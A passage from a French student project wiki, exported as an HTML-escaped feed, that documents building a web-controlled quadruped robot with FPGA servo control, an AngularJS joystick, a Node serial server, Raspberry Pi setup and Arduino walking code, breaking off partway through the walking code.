=Réalisation du Projet=&lt;br /&gt;
==Feuille d'heures==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total&lt;br /&gt;
|-&lt;br /&gt;
| Analyse du projet &lt;br /&gt;
| 0&lt;br /&gt;
| &lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Prologue==&lt;br /&gt;
==Semaine 1==&lt;br /&gt;
==Semaine 2==&lt;br /&gt;
&lt;br /&gt;
=Documents Rendus=&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43875</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43875"/>
				<updated>2017-06-14T15:39:09Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Partie informatique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
* 12 micro servos moteurs pour le mouvement des pattes , soit 3 servos-moteurs par patte .&lt;br /&gt;
* Un module wifi pour la raspberry Pi.&lt;br /&gt;
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
* Une breadboard pour tester les circuits .&lt;br /&gt;
* Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début du projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’étendra pas sur les 3 séances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.&lt;br /&gt;
&lt;br /&gt;
Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionner notre moteur grâce au FPGA.&lt;br /&gt;
&lt;br /&gt;
Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.&lt;br /&gt;
&lt;br /&gt;
[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire pour aller à 0 degré, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire jusque 180 degrés, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.&lt;br /&gt;
&lt;br /&gt;
Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.&lt;br /&gt;
&lt;br /&gt;
Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant &amp;quot;dire&amp;quot; au FPGA que quand notre compteur arrive a 200, il doit passer la valeur de sortie à 1. Celle ci reste à 1 jusqu'a la valeur choisie du compteur en fonction de l'angle que nous souhaitons puis la valeur de sortie passe à 0 jusqu'à ce que le compteur atteigne 200.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;include iframe src=&amp;quot;https://www.youtube.com/embed/g1hDQJHcsJw&amp;quot; width=&amp;quot;320px&amp;quot; height=&amp;quot;320px&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;yes&amp;quot;/&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.&lt;br /&gt;
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.&lt;br /&gt;
&lt;br /&gt;
Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc 2 événements : &lt;br /&gt;
* lors d'un clic : une variable est mise à jour &amp;quot;mouseIsDown&amp;quot; pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0). &lt;br /&gt;
* lors d'un mouvement de la souris si &amp;quot;mouseIsDown&amp;quot; est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.&lt;br /&gt;
&lt;br /&gt;
La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100. &lt;br /&gt;
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.&lt;br /&gt;
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
main.js : (définition de l'application et de ses dépendances)&lt;br /&gt;
&lt;br /&gt;
 angular.module('spiderApp')&lt;br /&gt;
  .controller('MainCtrl', function () {&lt;br /&gt;
    this.awesomeThings = [&lt;br /&gt;
      'HTML5 Boilerplate',&lt;br /&gt;
      'AngularJS',&lt;br /&gt;
      'Karma'&lt;br /&gt;
    ];&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
deplacement.js : (fonctionnement dynamique du joystick de la page web)&lt;br /&gt;
&lt;br /&gt;
  angular.module('spiderApp').controller('deplacementCtrl', function($scope) {&lt;br /&gt;
    $scope.positionX=200;&lt;br /&gt;
    $scope.positionY=200;&lt;br /&gt;
    $scope.mouseIsDown=false;&lt;br /&gt;
    posXstr=$scope.positionX.toString();&lt;br /&gt;
    posYstr=$scope.positionY.toString();&lt;br /&gt;
    $scope.posjoy = {&lt;br /&gt;
      &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;position&amp;quot; : &amp;quot;absolute&amp;quot;,&lt;br /&gt;
      &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
    };&lt;br /&gt;
    var socket = io.connect('http://172.26.79.4:8080');&lt;br /&gt;
    $scope.clickDown = function(event){&lt;br /&gt;
      if($scope.mouseIsDown==false)&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = true;&lt;br /&gt;
        $scope.positionX = event.target.offsetLeft+(event.offsetX-50);&lt;br /&gt;
        $scope.positionY = event.target.offsetTop+(event.offsetY-50);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = false;&lt;br /&gt;
        $scope.positionX = 200;&lt;br /&gt;
        $scope.positionY = 200;&lt;br /&gt;
        console.log($scope.mouseIsDown);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
    };&lt;br /&gt;
    $scope.moveJoystickOutside = function(event) {&lt;br /&gt;
      if ($scope.mouseIsDown == true) {&lt;br /&gt;
        window.setTimeout(function() {&lt;br /&gt;
        ecartX=parseInt(getComputedStyle(joystick).left, 10);&lt;br /&gt;
        ecartY=parseInt(getComputedStyle(joystick).top, 10);&lt;br /&gt;
        //on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image&lt;br /&gt;
        //+20 en Y à cause du footer qui sera toujours de taille constante&lt;br /&gt;
        positionXProvisoire = event.clientX - ecartX -250;&lt;br /&gt;
        positionYProvisoire = -(event.clientY - ecartY-330);&lt;br /&gt;
        console.log(&amp;quot;posi prov X: &amp;quot;+positionXProvisoire);&lt;br /&gt;
        console.log(&amp;quot;posi prov Y: &amp;quot;+positionYProvisoire);&lt;br /&gt;
        //partie dans le cercle&lt;br /&gt;
        if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;gt;= 0 &amp;amp;&amp;amp; Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;lt; 1)&lt;br /&gt;
        {&lt;br /&gt;
          //50=moitié de la dimension de l'image du bouton avec l'araignée.&lt;br /&gt;
          //a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.&lt;br /&gt;
          $scope.positionX=event.clientX-ecartX-50;&lt;br /&gt;
          $scope.positionY=event.clientY-ecartY-130;&lt;br /&gt;
          console.log(&amp;quot;posi X: &amp;quot;+$scope.positionX);&lt;br /&gt;
          console.log(&amp;quot;posi Y: &amp;quot;+$scope.positionY);&lt;br /&gt;
          posXstr = $scope.positionX.toString();&lt;br /&gt;
          posYstr = $scope.positionY.toString();&lt;br /&gt;
          $scope.posjoy = {&lt;br /&gt;
            &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
            &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
          };&lt;br /&gt;
        }&lt;br /&gt;
        //partie en dehors du cercle&lt;br /&gt;
        else&lt;br /&gt;
          {&lt;br /&gt;
            hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));&lt;br /&gt;
            angle=Math.acos(positionXProvisoire/hypothenuse);&lt;br /&gt;
            if(-(event.clientY - ecartY-330)&amp;lt;0)&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((-Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            posXstr = $scope.positionX.toString();&lt;br /&gt;
            posYstr = $scope.positionY.toString();&lt;br /&gt;
            $scope.posjoy = {&lt;br /&gt;
              &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
              &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
            };&lt;br /&gt;
          }&lt;br /&gt;
        //attendre un peu pour ne pas embrouiller la transmition du signal&lt;br /&gt;
        socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
        }, 10);//delay en millisecondes&lt;br /&gt;
      }&lt;br /&gt;
    };&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
Voici le rendu de l'application web, que nous trouvons à l'adresse 172.26.79.4 (Adresse IP d'un ordinateur de la salle de projet) sur le port 8080 :&lt;br /&gt;
&lt;br /&gt;
                                                         [[Fichier:AppliWeb.jpg]]&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances. &lt;br /&gt;
&lt;br /&gt;
- Réalisation des pièces nécessaires à la construction de l'araignée :&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad : &lt;br /&gt;
&lt;br /&gt;
[[Image:Femur.jpg|vignette|center|upright=3.4|alt=Femur|Femur]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Coxa.jpg|vignette|center|upright=3.4|alt=Coxa|Coxa]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Coxa_renforce.jpg|vignette|center|upright=3.4|alt=Coxa renforce|coxa renfoce]]&lt;br /&gt;
&lt;br /&gt;
[[Image:Tibia_sc.jpg|vignette|center|upright=3.4|alt=Tibia|Tibia]]&lt;br /&gt;
&lt;br /&gt;
Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces. &lt;br /&gt;
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module &amp;quot;serial-port&amp;quot; de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série. &lt;br /&gt;
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)&lt;br /&gt;
&lt;br /&gt;
 var express = require('express');&lt;br /&gt;
 var app = express();&lt;br /&gt;
 var server = require('http').Server(app);&lt;br /&gt;
 var io = require('socket.io')(server);&lt;br /&gt;
 var SerialPort = require(&amp;quot;serialport&amp;quot;);&lt;br /&gt;
 var port = new SerialPort(&amp;quot;/dev/ttyUSB1&amp;quot;,{baudRate: 115200, parity : 'none', autoOpen :false});&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../..&amp;quot;));&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../../../bower_components/&amp;quot;));&lt;br /&gt;
 port.open(function (error){&lt;br /&gt;
  if(error)&lt;br /&gt;
  {&lt;br /&gt;
    console.log('Error while opening the port ' + error);&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
      io.on('connection', function(socket) {&lt;br /&gt;
        console.log('new connection');&lt;br /&gt;
        socket.on('message', function (message) {&lt;br /&gt;
          port.write(message, function(err) {&lt;br /&gt;
            if (err) {&lt;br /&gt;
              return console.log('Error on write: ', err.message);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              console.log('Position : ' + message);&lt;br /&gt;
            }&lt;br /&gt;
          });&lt;br /&gt;
        });&lt;br /&gt;
      });&lt;br /&gt;
  }&lt;br /&gt;
 });&lt;br /&gt;
 server.listen(8080, function() {&lt;br /&gt;
  console.log('server up and running at 8080 port');&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
envoi des données sur le port série&lt;br /&gt;
&lt;br /&gt;
Configuration de la Raspberry : &lt;br /&gt;
&lt;br /&gt;
- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34&lt;br /&gt;
La Raspberry peut ainsi communiquer avec le réseau Polytech&lt;br /&gt;
&lt;br /&gt;
- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry&lt;br /&gt;
&lt;br /&gt;
- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &amp;amp; &lt;br /&gt;
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
''Assemblage des pièces''' :&lt;br /&gt;
&lt;br /&gt;
Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.&lt;br /&gt;
Nous avons alors, pour chaque patte :&lt;br /&gt;
&lt;br /&gt;
- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent&lt;br /&gt;
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
&lt;br /&gt;
Voici le rendu des pattes assemblées : &lt;br /&gt;
&lt;br /&gt;
                                                                          [[Fichier:Pattes.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Percage.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board. &lt;br /&gt;
&lt;br /&gt;
Voici une photo du rendu de l'araignée câblée :&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Araignée.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.&lt;br /&gt;
Le code réalisé est donc le suivant:&lt;br /&gt;
&lt;br /&gt;
 int delai=300;&lt;br /&gt;
 //val AD&lt;br /&gt;
 &lt;br /&gt;
  int ADepauleArriere=100;&lt;br /&gt;
 int ADepauleAvant=40;&lt;br /&gt;
 int ADcoudeBas=100;//50&lt;br /&gt;
 int ADcoudeDroit=30;//100&lt;br /&gt;
 int ADpoignetPerpendiculaire=70;&lt;br /&gt;
 int ADpoignetDroit=90;&lt;br /&gt;
&lt;br /&gt;
  //val ARG&lt;br /&gt;
 int ARGepauleArriere=20;&lt;br /&gt;
 int ARGepauleAvant=80;&lt;br /&gt;
 int ARGcoudeBas=80;&lt;br /&gt;
 int ARGcoudeDroit=140;&lt;br /&gt;
 int ARGpoignetPerpendiculaire=60;&lt;br /&gt;
 int ARGpoignetDroit=40;&lt;br /&gt;
&lt;br /&gt;
 //VAL AG&lt;br /&gt;
 int AGepauleArriere=40;&lt;br /&gt;
 int AGepauleAvant=100;&lt;br /&gt;
 int AGcoudeBas=110;&lt;br /&gt;
 int AGcoudeDroit=30;//haut&lt;br /&gt;
 int AGpoignetPerpendiculaire=90;&lt;br /&gt;
 int AGpoignetDroit=40;&lt;br /&gt;
 //VAL ARD&lt;br /&gt;
 int ARDepauleArriere=70;&lt;br /&gt;
 int ARDepauleAvant=30;&lt;br /&gt;
 int ARDcoudeBas=100;&lt;br /&gt;
 int ARDcoudeDroit=30;//haut&lt;br /&gt;
 int ARDpoignetPerpendiculaire=140;&lt;br /&gt;
 int ARDpoignetDroit=180;&lt;br /&gt;
 int i;&lt;br /&gt;
 int j;&lt;br /&gt;
 &lt;br /&gt;
 void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
  servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant+i);&lt;br /&gt;
  delay(20);&lt;br /&gt;
  if(j==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AG et ARD&lt;br /&gt;
    servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
